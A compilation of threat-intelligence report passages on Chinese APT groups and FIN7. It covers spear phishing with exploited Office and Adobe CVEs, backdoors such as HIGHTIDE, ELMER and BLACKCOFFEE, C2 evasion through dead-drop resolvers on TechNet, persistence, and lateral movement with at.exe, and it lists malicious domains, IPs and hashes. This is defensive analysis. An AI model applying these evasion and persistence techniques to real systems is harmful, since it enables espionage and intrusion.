Below is a list of zones registered by APT1 that are newsthemed :aoldaily.com aunewsonline.com canadatvsite.com canoedaily.com cnndaily.com cnndaily.net cnnnewsdaily.com defenceonline.net freshreaders.net giftnews.org reutersnewsonline.com rssadvanced.org saltlakenews.org sportreadok.net todayusa.org usapappers.com usnewssite.com yahoodaily.com .
The technology-themed zones reference well-known technology companies ( AOL , Apple , Google , Microsoft ) , antivirus vendors ( McAfee , Symantec ) , and products ( Blackberry , Bluecoat ) .
APT1 also used more generic names referencing topics like software :globalowa.com gmailboxes.com hugesoft.org idirectech.com ifexcel.com infosupports.com livemymsn.com mcafeepaying.com microsoft-update-info.com micyuisyahooapis.com msnhome.org pcclubddk.net progammerli.com softsolutionbox.net symanteconline.net webservicesupdate.com .
Finally , some zones used by APT1 reflect a business theme .
The names suggest websites that professionals might visit :advanbusiness.com businessconsults.net businessformars.com companyinfosite.com conferencesinfo.com copporationnews.com .
APT1 intruders often use the FQDNs that are associated with legitimate websites hosted by their hop points .
We consider these domains to be “ hijacked ” because they were registered by someone for a legitimate reason , but have been leveraged by APT1 for malicious purposes .
APT1 uses hijacked FQDNs for two main purposes .
First , they place malware ( usually in ZIP files ) on the legitimate websites hosted on the hop point and then send spear phishing emails with a link that includes the legitimate FQDN .
This research paper will delve into another prominent group of attackers referred to as “ IXESHE ” ( pronounced “ i-sushi ” ) , based on one of the more common detection names security companies use for the malware they utilize .
This campaign is notable for targeting East Asian governments , electronics manufacturers , and a telecommunications company .
The IXESHE campaign makes use of targeted emails with malicious attachments to compromise victims ’ systems .
The emails are often tailored for specific victims and contain malicious attachments that are almost always “ weaponized ” .PDF files with known exploits that drop malware executables onto targeted systems .
In addition , the IXESHE attackers conducted two specific attacks that leveraged zero-day exploits—one in 2009 and another in 2011 .
The IXESHE attackers almost always make use of compromised servers as command-and-control ( C&C ) servers .
In some cases , the compromised servers are hosted on target organizations ’ networks after successful infiltration so the attackers can increase their control of the victims ’ infrastructure .
Using this approach , the attackers amassed at least 60 C&C servers over time .
This technique also allows the attackers to cover their tracks , as having the C&C server in the victims ’ corporate networks means very little C&C traffic leaves them .
The attackers ’ deliberate use of compromised machines and dynamic Domain Name System ( DNS ) services allows them to hide traces of their presence by confusing their activities with data belonging to legitimate individuals .
Looking at threat intelligence derived from tracking APT campaigns over time primarily based on the network traffic generated by the malware used , we were able to develop indicators of compromise for the IXESHE campaign .
The malware samples used in this campaign were not very complicated by nature but do give the attackers almost complete control over their targets ’ compromised systems .
Most of the IP addresses of IXESHE ’s victims are linked to DSL networks , which made it difficult to determine their identities .
Careful research , however , allowed the identification of some of the attackers ’ victims : East Asian governments , Taiwanese electronics manufacturers , A telecommunications company .
Campaign victims were identified by using Whois records and open source research .
Trend Micro generally notifies customers that are believed to have been specifically targeted by APT campaigns .
The IXESHE attackers have been actively launching highly targeted attacks since at least July 2009 .
Available data on the IXESHE campaign indicates that targeted emails with malicious .PDF file attachments were the attackers ’ vector of choice .
In most cases , the attacks involved Adobe Acrobat , Reader , and Flash Player exploits such as : CVE-2009-4324 , CVE-2009-0927 , CVE-2011-0609 , CVE-2011-0611 .
It should also be noted that this campaign used CVE-2009-4324 and CVE-2011-0609 exploits when these were still unpatched or considered zero-day vulnerabilities .
The IXESHE attackers also used an exploit that affected Microsoft Excel — CVE-2009-3129 .
Every IXESHE case we examined revealed that the original infection vector was a targeted email with a PDF exploit as attachment .
Older versions also used an XLS exploit .
Opening the .PDF file drops and executes a malware in a victim ’s system .
The malware displays a blank .PDF file or a decoy document related to the targeted attack .
The emails normally come from compromised personal accounts or are entirely spoofed .
emails from spoofed senders were usually sent via mail servers in the United States and China .
The malware also sets the executable file ’s attributes to “ Hidden. ” Some of the file names the attackers used include : winhlps.exe , acrotry.exe , AcroRd32.exe , Updater.exe .
In order for the malware to survive rebooting , it normally creates the following registry run key : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run .
The registry run key , in turn , points to the malware that has been dropped .
The value name of this entry varies from sample to sample .
Some of the names the attackers used for it include : Adobe Assistant , Migrated .
Upon installation , the malware starts communicating with one of its C&C servers .
Most of the samples appeared to have at least three C&C servers hard coded for redundancy .
Some samples alternatively use an FGKD.jsp or an FPK.jsp file .
The Base64 blob is of particular interest .
It makes use of a custom Base64 alphabet .
Once decoded , this blob reveals a standardized structure of the information sent to the registered C&C server , which includes the following details : Computer name , Local IP address , Proxy server IP and port , Malware ID .
To date , we have seen several custom Base64 alphabets , including : +NO5RZaGHviIjhYq8b4ndQ=p012ySTcCDrs/xPgUz67FM3wemKfkJLBo9VtWXlEuA , HZa4vjIiGndQ=p012y+NO5RST/xPgUz67FMhYq8b3wemKfkJLBocCDrs9VtWXlEu , j4vpGZaHnIdQ=i012y+N/zPgUO5RSTx67FMhYb8q3we mKckJLBofCDrs9VtWXlEu , p12kJLBofCDrs9VtWXlEuainyj4vd+=H0GZIQNO5RST/ zPgUx67FMhYb8q3wemKc , aZHGviIj4ndQ=p012y+NO5RST/xPgUz67FMhYq8b3wemKfkJLBocCDrs9VtWXlEu , ZvQIajHi4ndG=p012y+NO5RST/xPgUz67FMhYq8b3wemKfkJLBocCDrs9VtWXlEu .
Some similarities exist across different versions of the Base64 alphabet , which indicates that these are most likely not completely randomly generated .
Instead , the attackers manually cut and pasted older versions after altering some parts .
The malware ID seems to be a campaign code with a different IP address for each attack .
Some of the campaign codes we have seen include : CRML_0505 , CRML_MIL , Firebox4 , JUST_0525 , ML0628 , MW0629 , OM222 .
The IXESHE campaign has been successfully executing targeted attacks since 2009 .
The attackers primarily use malicious .PDF files that exploit vulnerabilities in Adobe Reader , Acrobat , and Flash Player , including the use of two zero-day exploits—one in 2009 and another in 2011 .
While the attackers primarily targeted East Asian governments in the past , they have also started targeting a telecommunications company and electronics manufacturers .
They kept track of their targeted attacks by embedding a “ campaign tag ” in the malware that appears to describe when each attack was launched and , in some cases , the nature of its target .
We found more than 40 of these campaign tags .
The IXESHE attackers are notable for their use of compromised machines within a target ’s internal network as C&C servers .
This helped disguise their activities .
In addition , the attackers ’ use of the proxy tool , HTran , also helped mask their true location .
While their identities remain unknown , the attackers behind the IXESHE campaign demonstrated that they were both determined and capable .
While the malware used in the attacks were not very complicated by nature , these proved very effective .
The attackers referred to as APT12 ( also known as IXESHE , DynCalc , and DNSCALC ) recently started a new campaign targeting organizations in Japan and Taiwan .
APT12 is believed to be a cyber espionage group thought to have links to the Chinese People's Liberation Army .
APT12 's targets are consistent with larger People's Republic of China ( PRC ) goals .
Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan .
Additionally , the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure , as APT12 used the same strategy after compromising the New York Times in Oct 2012 .
Much like Darwin ’s theory of biological evolution , APT12 been forced to evolve and adapt in order to maintain its mission .
FireEye researchers discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT .
Both backdoors were dropped from malicious documents built utilizing the “ Tran Duy Linh ” exploit kit , which exploited CVE-2012-0158 .
These documents were also emailed to organizations in Japan and Taiwan .
While APT12 has previously used THREEBYTE , it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE .
Similarly , WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified .
However , the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12 .
From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE , a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control ( C2 ) server .
RIPTIDE ’s first communication with its C2 server fetches an encryption key , and the RC4 encryption key is used to encrypt all further communication .
In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth .
The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014 .
Following the release of the article , FireEye observed a distinct change in RIPTIDE ’s protocols and strings .
We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors .
The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules .
FireEye dubbed this new malware family HIGHTIDE .
On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry .
Attached to this email was a malicious Microsoft Word document ( MD5: f6fafb7c30b1114befc93f39d0698560 ) that exploited CVE-2012-0158 .
It is worth noting that this email appeared to have been sent from another Taiwanese Government employee , implying that the email was sent from a valid but compromised account .
HIGHTIDE : 6e59861931fa2796ee107dc27bfdd480 .
The HIGHTIDE backdoor connected directly to 141.108.2.157 .
If you compare the HTTP GET request from the RIPTIDE samples to the HTTP GET request from the HIGHTIDE samples you can see the malware author changed the following items : User Agent , Format and structure of the HTTP Uniform Resource Identifier ( URI ) .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases .
Based on past APT12 activity , we expect the threat group to continue to utilize phishing as a malware delivery method .
 0824.1.doc : f6fafb7c30b1114befc93f39d0698560 , CVE-2012-0158 .
Jason_invitation.doc : 00a95fb30be2d6271c491545f6c6a707 , CVE-2012-0158 .
When the file is opened , it drops HIGHTIDE in the form of an executable file onto the infected system .
RIPTIDE and HIGHTIDE differ on several points : executable file location , image base address , the User-Agent within the GET requests , and the format of the URI .
The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\ folder .
All but one sample that we identified were written to this folder as word.exe .
The one outlier was written as winword.exe .
Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government organizations between August 22 and 28 .
On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com to a technology company located in Taiwan .
This spear phish contained a malicious Word document that exploited CVE-2012-0158 .
The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11 .
Similar to the newly discovered HIGHTIDE samples documented above , this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe .
THREEBYTE : 16e627dbe730488b1c3d448bfc9096e2 .
This backdoor sent the following callback traffic to video.csmcpr.com .
The THREEBYTE spear phishing incident ( while not yet attributed ) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12 : The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors ;Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan ;Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe ;APT12 has previously used the THREEBYTE backdoor .
On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan .
Attached to this email was another malicious document that was designed to exploit CVE-2012-0158 .
This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe .
The backdoor had the following properties :The backdoor connects to a command and control server at icc.ignorelist.com .
Similar to RIPTIDE and HIGHTIDE , the WATERSPOUT backdoor is an HTTP based backdoor that communicates with its C2 server .
Although there are no current infrastructure ties to link this backdoor to APT12 , there are several data points that show a possible tie to the same actors :Same initial delivery method ( spear phishing email ) with a Microsoft Word Document exploiting CVE-2012-0158 .
The same “ Tran Duy Linh ” Microsoft Word Exploit Kit was used in delivery of this backdoor .
Similar Targets were observed where the threat actors utilized this backdoor : Japanese Tech Company , Taiwanese Government Organizations , Organizations in the Asia-Pacific Region that are of Interest to China .
The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors : C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe , C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe .
WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor .
APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed .
APT12 has the ability to adapt quickly to public exposures with new tools , tactics , and procedures ( TTPs ) .
Public disclosures may result in an immediate change in APT12 ’s tools .
These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented ( e.g. , WATERSPOUT ) .
Although these points do not definitively tie WATERSPOUT to APT12 , they do indicate a possible connection between the WATERSPOUT campaign , the THREEBYTE campaign , and the HIGHTIDE campaign attributed to APT12 .
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset .
These development efforts may have resulted in the emergence of the WATERSPOUT backdoor .
Though public disclosures resulted in APT12 adaptations , FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels .
Similarly , the public disclosure of APT12 ’s intrusion at the New York Times also led to only a brief pause in the threat group ’s activity and immediate changes in TTPs .
The pause and retooling by APT12 was covered in the Mandiant 2014 M-Trends report .
Currently , APT12 continues to target organizations and conduct cyber operations using its new tools .
Most recently , FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company .
The attackers behind the breach of the New York Times ’ computer network late last year appear to be mounting fresh assaults that leverage new and improved versions of malware .
The new campaigns mark the first significant stirrings from the group since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China .
The newest campaign uses updated versions of Aumlib and Ixeshe .
Aumlib , which for years has been used in targeted attacks , now encodes certain HTTP communications .
FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization involved in shaping economic policy .
And a new version of Ixeshe , which has been in service since 2009 to attack targets in East Asia , uses new network traffic patterns , possibly to evade traditional network security systems .
The updates are significant for both of the longstanding malware families ; before this year , Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011 .
Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network defenses .
But , larger , more successful threat actors tend to evolve at a slower rate .
As long as these actors regularly achieve their objective ( stealing sensitive data ) , they are not motivated to update or rethink their techniques , tactics , or procedures ( TTPs ) .
These threat actors ’ tactics follow the same principles of evolution – successful techniques propagate , and unsuccessful ones are abandoned .
Attackers do not change their approach unless an external force or environmental shift compels them to .
As the old saying goes : If it ain’t broke , don’t fix it .
So when a larger , successful threat actor changes up tactics , the move always piques our attention .
Naturally , our first priority is ensuring that we detect the new or altered TTPs .
But we also attempt to figure out why the adversary changed — what broke? — so that we can predict if and when they will change again in the future .
We observed an example of this phenomenon around May .
About four months after The New York Times publicized an attack on its network , the attackers behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families .
The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011 .
We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of the episode .
But we do know the change was sudden .
Akin to turning a battleship , retooling TTPs of large threat actors is formidable .
Such a move requires recoding malware , updating infrastructure , and possibly retraining workers on new processes .
The following sections detail the changes to Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe .
A recently observed malware sample ( hash value 832f5e01be536da71d5b3f7e41938cfb ) appears to be a modified variant of Aumlib .
The sample , which was deployed against an organization involved in shaping economic policy , was downloaded from the following URL :status.acmetoy.com /DD/ myScript.js or status.acmetoy.com /DD/ css.css .
This output reveals the following changes when compared with earlier variants :The POST URI is changed to /bbs/ search.asp ( as mentioned , earlier Aumlib variants used a POST URI of /bbs/ info.asp .
 ) The POST body is now encoded .
These subtle changes may be enough to circumvent existing IDS signatures designed to detect older variants of the Aumlib family .
The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash cb3dcde34fd9ff0e19381d99b02f9692 .
The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to documents.myPicture.info and www.documents.myPicture.info and as expected generated the a POST request to /bbs/ info.asp .
Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia .
The network traffic is encoded with a custom Base64 alphabet .
We analyzed a recent sample that appears to have targeted entities in Taiwan , a target consistent with previous Ixeshe activity .
This sample ( aa873ed803ca800ce92a39d9a683c644 ) exhibited network traffic that does not match the earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe related infections .
Between November 26, 2015, and December 1, 2015, known and suspected China based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability , and the local Windows privilege escalation vulnerability CVE-2015-1701 .
The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO , or a backdoor that we refer to as ELMER .
On November 26, 2015, a suspected China based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
As shown in Figure 1, the emails originated from the Yahoo ! email address mts03282000@yahoo.co.jp , and contained the subject “ Sending of New YearForeword ” .
Each phishing message contained the same malicious Microsoft Word attachment .
The malicious attachment resembled an article hosted on a legitimate Japanese defense-related website , as both discussed national defense topics and carried the same byline .
The lure documents also used the Japanese calendar , as indicated by the 27th year in the Heisei period .
This demonstrates that the threat actors understand conventional Japanese date notation .
Following the exploitation of the EPS and CVE-2015-1701 vulnerabilities , the exploit payload drops either a 32-bit or 64-bit binary containing an embedded IRONHALO malware sample .
IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control ( C2 ) server and uniform resource locator ( URL ) path .
The encoded payload is written to a temporary file , decoded and executed in a hidden window .
The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively , where [%rand%] is a 4-byte hexadecimal number based on the current timestamp .
IRONHALO : AcroRd32Info.exe.exe a8ccb2fc5fec1b89f778d93096f8dd65 .
IRONHALO persists by copying itself to the current user ’s Startup folder .
This variant sends an HTTP request to a legitimate Japanese website using a malformed User-Agent string , as shown in Figure 2 .
The threat actors likely compromised the legitimate site and attempted to use it as a staging server for second-stage payloads .
On December 1, 2015, threat actors launched two additional spear phishing attacks exploiting the undisclosed EPS vulnerability and CVE-2015-1701 .
Unlike the Nov. 26 campaign , these attacks targeted Taiwanese governmental and media and entertainment organizations .
Moreover , the exploit dropped a different malware payload , a backdoor we refer to as ELMER .
The first spear phishing message was sent to a Taiwanese governmental employee on Dec. 1 .
The attachment was created using the traditional Chinese character set , and contained a flowchart that appeared to be taken from the legitimate Taiwanese government auction website http://shwoo.gov.taipei/buyer_flowchart.asp .
The second December spear phishing attack targeted Taiwan based news media organizations .
The emails originated from the address dpptccb.dpp@msa.hinet.net , and contained the subject DPP's Contact Information Update .
Based on the email address naming convention and message subject , the threat actors may have tried to make the message appear to be a legitimate communication from the Democratic Progressive Party ( DPP ) , Taiwan ’s opposition party .
Unlike the previous exploit documents , this malicious attachment did not contain any visible text when opened in Microsoft Word .
The exploit documents delivered during the December campaigns dropped a binary containing an embedded variant of a backdoor we refer to as ELMER .
ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi , and is capable of performing file uploads and downloads , file execution , and process and directory listings .
To retrieve commands , ELMER sends HTTP GET requests to a hard-coded C2 server , and parses the HTTP response packets received from the C2 server for an integer string corresponding to the command that needs to be executed .
Table 2 lists the ELMER backdoors observed during the December campaigns .
The ELMER variant 6c33223db475f072119fe51a2437a542 beaconed to the C2 IP address 121.127.249.74 over port 443 .
While attribution of the first two spear phishing attacks is still uncertain , we attribute the second December phishing campaign to the China based APT group that we refer to as APT16 .
This is based on the use of the known APT16 domain rinpocheinfo.com , as well as overlaps in previously observed targeting and tactics , techniques and procedures ( TTPs ) .
Taiwanese citizens will go to the polls on January 16 , 2016 , to choose a new President and legislators .
According to recent opinion polls , the Democratic Progressive Party ( DPP ) candidate Tsai Ing-wen is leading her opponents and is widely expected to win the election .
The DPP is part of the pan-green coalition that favors Taiwanese independence over reunification with the mainland , and the party ’s victory would represent a shift away from the ruling Kuomintang ’s closer ties with the PRC .
Since 1949 , Beijing has claimed Taiwan as a part of China and strongly opposes any action toward independence .
The Chinese government is therefore concerned whether a DPP victory might weaken the commercial and tourism ties between China and Taiwan , or even drive Taiwan closer to independence .
In 2005 , the Chinese government passed an “ anti-secession ” law that signified its intention to use “ non-peaceful ” means to stymie any Taiwanese attempt to secede from China .
APT16 actors sent spear phishing emails to two Taiwanese media organization addresses and three webmail addresses .
The message subject read “ DPP ’s Contact Information Update ” , apparently targeting those interested in contact information for DPP members or politicians .
The Chinese government would benefit from improved insight into local media coverage of Taiwanese politics , both to better anticipate the election outcome and to gather additional intelligence on politicians , activists , and others who interact with journalists .
This tactic is not without precedent ; in 2013 , the New York Times revealed it had been the target of China based actors shortly after it reported on the alleged mass accumulation of wealth by then-Prime Minister Wen Jiabao and his family .
The actors likely sought information on the newspaper ’s sources in China , who could be silenced by the government .
Compromising these Taiwanese news organizations would also allow the actors to gain access to informants or other protected sources , who might then be targeted for further intelligence collection or even retribution .
The webmail addresses , while unknown , were possibly the personal-use addresses of the individuals whose corporate domain emails were targeted .
As corporate networks become more secure and users become more vigilant , personal accounts can still offer a means to bypass security systems .
This tactic exploits users ’ reduced vigilance when reading their own personal email , even when using corporate IT equipment to do so .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .
One of the media organizations involved in this latest activity was targeted in June 2015 , while its Hong Kong branch was similarly targeted in August 2015 .
APT16 actors were likely also responsible for the June 2015 activity .
They sent spear phishing messages with the subject “ 2015 Taiwan Security and Cultural Forum Invitation Form ” , and used a different tool – a tool that we refer to as DOORJAMB – in their attempt to compromise the organization .
A different group , known as admin@338 , used LOWBALL malware during its Hong Kong activity .
Despite the differing sponsorship , penetration of Hong Kong and Taiwan based media organizations continues to be a priority for China based threat groups .
The difference in sponsorship could be the result of tasking systems that allocate targeting responsibility to different groups based on their targets ’ geographic location .
In other words , while media organizations are important targets , it is possible that two separate groups are responsible for Hong Kong and Taiwan , respectively .
The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility .
IRONHALO : CVE-2015-1701 .
ELMER : CVE-2015-1701 .
These clusters of activity raise interesting questions about the use of an identical silently-patched vulnerability , possibly by multiple threat groups .
Both Japan and Taiwan are important intelligence collection targets for China , particularly because of recent changes to Japan ’s pacifist constitution and the upcoming Taiwanese election .
Based on our visibility and available data , we only attribute one campaign to the Chinese APT group APT16 .
FireEye Threat Intelligence and the Microsoft Threat Intelligence Center investigated a command-and-control ( C2 ) obfuscation tactic used on Microsoft ’s TechNet , a web portal for IT professionals .
TechNet ’s security was in no way compromised by this tactic , which is likely possible on other message boards and forums .
FireEye Threat Intelligence assesses that APT17 , a China based threat group , was behind the attempt .
Other groups have used legitimate websites to host C2 IP address in the past .
APT17 was embedding the encoded C2 IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads , a method some in the information security community call a “ dead drop resolver. ” Encoding the IP address makes it more difficult to identify the true C2 address for network security professionals .
Few security companies have publicly discussed this tactic .
After discovering the BLACKCOFFEE activity , the FireEye-Microsoft team encoded a sinkhole IP address into the profile pages and forum threads and locked the accounts to prevent the threat actors from making any changes .
This collaborative approach allowed the team to observe the malware and its victims .
Though the security community has not yet broadly discussed this technique , FireEye has observed other threat groups adopting these measures and expect this trend to continue on other community sites .
Today , FireEye released Indicators of Compromise ( IOCs ) for BLACKCOFFEE and Microsoft released signatures for its anti-malware products .
APT17 , also known as DeputyDog , is a Chinabased threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
BLACKCOFFEE ’s functionality includes uploading and downloading files ; creating a reverse shell ; enumerating files and processes ; renaming , moving , and deleting files ; terminating processes ; and expanding its functionality by adding new backdoor commands .
FireEye has monitored APT17 ’s use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the C2 communication as queries to web search engines .
The use of BLACKCOFFEE demonstrates threat actors ’ evolving use of public websites to hide in plain sight .
In the past , threat actors would modify easily compromised websites to host C2 commands and configuration , as observed in the China based APT1 ’s WEBC2 suite of backdoors .
Now , threat actors are using well-known websites—that they do not need to compromise to host C2 IP addresses .
They simply use the website for legitimate purposes , such as posting forum threads or creating profile pages .
APT17 went further to obfuscate their C2 IP address and employed a multi-layered approach for the malware to finally beacon the true C2 IP .
They used legitimate infrastructure—the ability to post or create comments on forums and profile pages—to embed a string that the malware would decode to find and communicate with the true C2 IP address .
This additional obfuscation puts yet another layer between APT17 and the security professionals attempting to chase them down .
This BLACKCOFFEE variant contains one or more URLs that link to the biography sections of attacker-created profiles as well as forum threads that contain comments from those same profiles .
A URL is randomly selected and the malware searches at that location for an encoded IP address located between two tags , “ @MICR0S0FT ” and “ C0RP0RATI0N ” .
The malware then communicates directly with the retrieved and decoded IP address to receive commands and send stolen information .
If the C2 server is discovered or shut down , the threat actors can update the encoded IP address on TechNet to maintain control of the victims ’ machines .
BLACKCOFFEE supports an initial set of fifteen commands , including creating a reverse shell , uploading and downloading files , and enumerating files and processes .
The attackers can also extend BLACKCOFFEE ’s functionality through additional commands sent as shellcode .
APT17 : de56eb5046e518e266e67585afa34612 .
APT17 : 195ade342a6a4ea0a58cfbfb43dc64cb .
APT17 : 4c21336dad66ebed2f7ee45d41e6cada .
APT17 : 0370002227619c205402c48bde4332f6 .
APT17 : ac169b7d4708c6fa7fee9be5f7576414 .
APT17 : 130.184.156.62 .
APT17 : 69.80.72.165 .
APT17 : 110.45.151.43 .
APT17 : 121.101.73.231 .
Dell SecureWorks Counter Threat Unit ( CTU ) analysts were recently engaged with a client thought to have been compromised by a threat group CTU researchers have named Threat Group-0416 ( TG-0416 ) .
Various artifacts from the initial phases of the incident provided strong indications of the existence of this particular threat group within the client's infrastructure .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
The threat actors achieved an initial foothold into the infrastructure via phishing email that convinced victims to install the Xyligan remote access Trojan ( RAT ) on a system .
The threat actors then installed the hcdLoader RAT , which installs as a Windows service and provides command line access to the compromised system .
Using host-based digital forensic analysis , CTU analysts observed the intruders using the native ‘ at.exe ’ Windows task scheduler tool to move laterally within the infrastructure .
Many threat groups use lateral movement techniques , but this engagement allowed CTU analysts to not only further validate indicators of lateral movement , but also to look a bit closer at those indicators and expand the cluster of indicators surrounding the use of at.exe for lateral movement within the infrastructure .
Threat actors accessed the source host via the hcdLoader RAT .
The sole indicator on the source host that at.exe had been run was an application Prefetch file ( C:\Windows\Prefetch\AT.EXE-BB02E639.pf ) that was created when the tool was executed .
Beyond the file system metadata for the Prefetch file ( creation and last modification times ) and the last execution time within the file metadata , CTU analysts did not observe any indicators of value on the source host .
Two files are created for the task at approximately the same time : C:\Windows\System32\Tasks\At1 and C:\Windows\Tasks\At1.job .
The first file is an Extensible Markup Language ( XML ) file that can be opened and viewed in a text editor .
The second file follows a decodable binary format .
The operating system also creates a registry key within the software registry hive that is specifically associated with the creation of the scheduled task on the destination host : Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\At1 .
The Task Scheduler service names the tasks , so subsequent tasks are named At2 , At3 , and so on .
FIN7.5 : the infamous cybercrime rig FIN7 continues its activities .
On August 1, 2018 , the US Department of Justice announced that it had arrested several individuals suspected of having ties to the FIN7 cybercrime rig .
FIN7 operations are linked to numerous intrusion attempts having targeted hundreds of companies since at least as early as 2015 .
Interestingly , this threat actor created fake companies in order to hire remote pentesters , developers and interpreters to participate in their malicious business .
The main goal behind its malicious activities was to steal financial assets from companies , such as debit cards , or get access to financial data or computers of finance department employees in order to conduct wire transfers to offshore accounts .
In 2018-2019 , researchers of Kaspersky Lab ’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures ( TTPs ) as the historic FIN7 , leading the researchers to believe that this threat actor had remained active despite the 2018 arrests .
In addition , during the investigation , we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations .
The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year .
Kaspersky Lab has been able to retrieve some of these exchanges from a FIN7 target .
The spear phishing campaigns were remarkably sophisticated from a social engineering perspective .
In various cases , the operators exchanged numerous messages with their victims for weeks before sending their malicious documents .
The emails were efficient social-engineering attempts that appealed to a vast number of human emotions ( fear , stress , anger , etc. ) to elicit a response from their victims .
One of the domains used by the attackers in their 2018 campaign of spear phishing contained more than 130 email aliases , leading us to think that more than 130 companies had been targeted by the end of 2018 .
We have seen two types of documents sent to victims in these spear phishing campaigns .
The first one exploits the INCLUDEPICTURE feature of Microsoft Word to get context information about the victim’s computer , and the availability and version number of Microsoft Word .
The second one , which in many cases is an Office document protected with a trivial password , such as “ 12345 ” , “ 1234 ” , etc. , uses macros to execute a GRIFFON implant on the target’s computer .
In various cases , the associated macro also scheduled tasks to make GRIFFON persistent .
Interestingly , following some open-source publications about them , the FIN7 operators seems to have developed a homemade builder of malicious Office document using ideas from ThreadKit , which they employed during the summer of 2018 .
The new builder inserts random values in the Author and Company metadata fields .
Moreover , the builder allows these to modify different IOCs , such as the filenames of wscript.exe or sctasks.exe copies , etc .
The GRIFFON implant is a lightweight JScript validator-style implant without any persistence mechanism .
The malware is designed for receiving modules to be executed in-memory and sending the results to C2s .
We were able to obtain four different modules during the investigation .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
This module mainly relies on WMI and Windows objects to deliver results , which will be sent back to the operators .
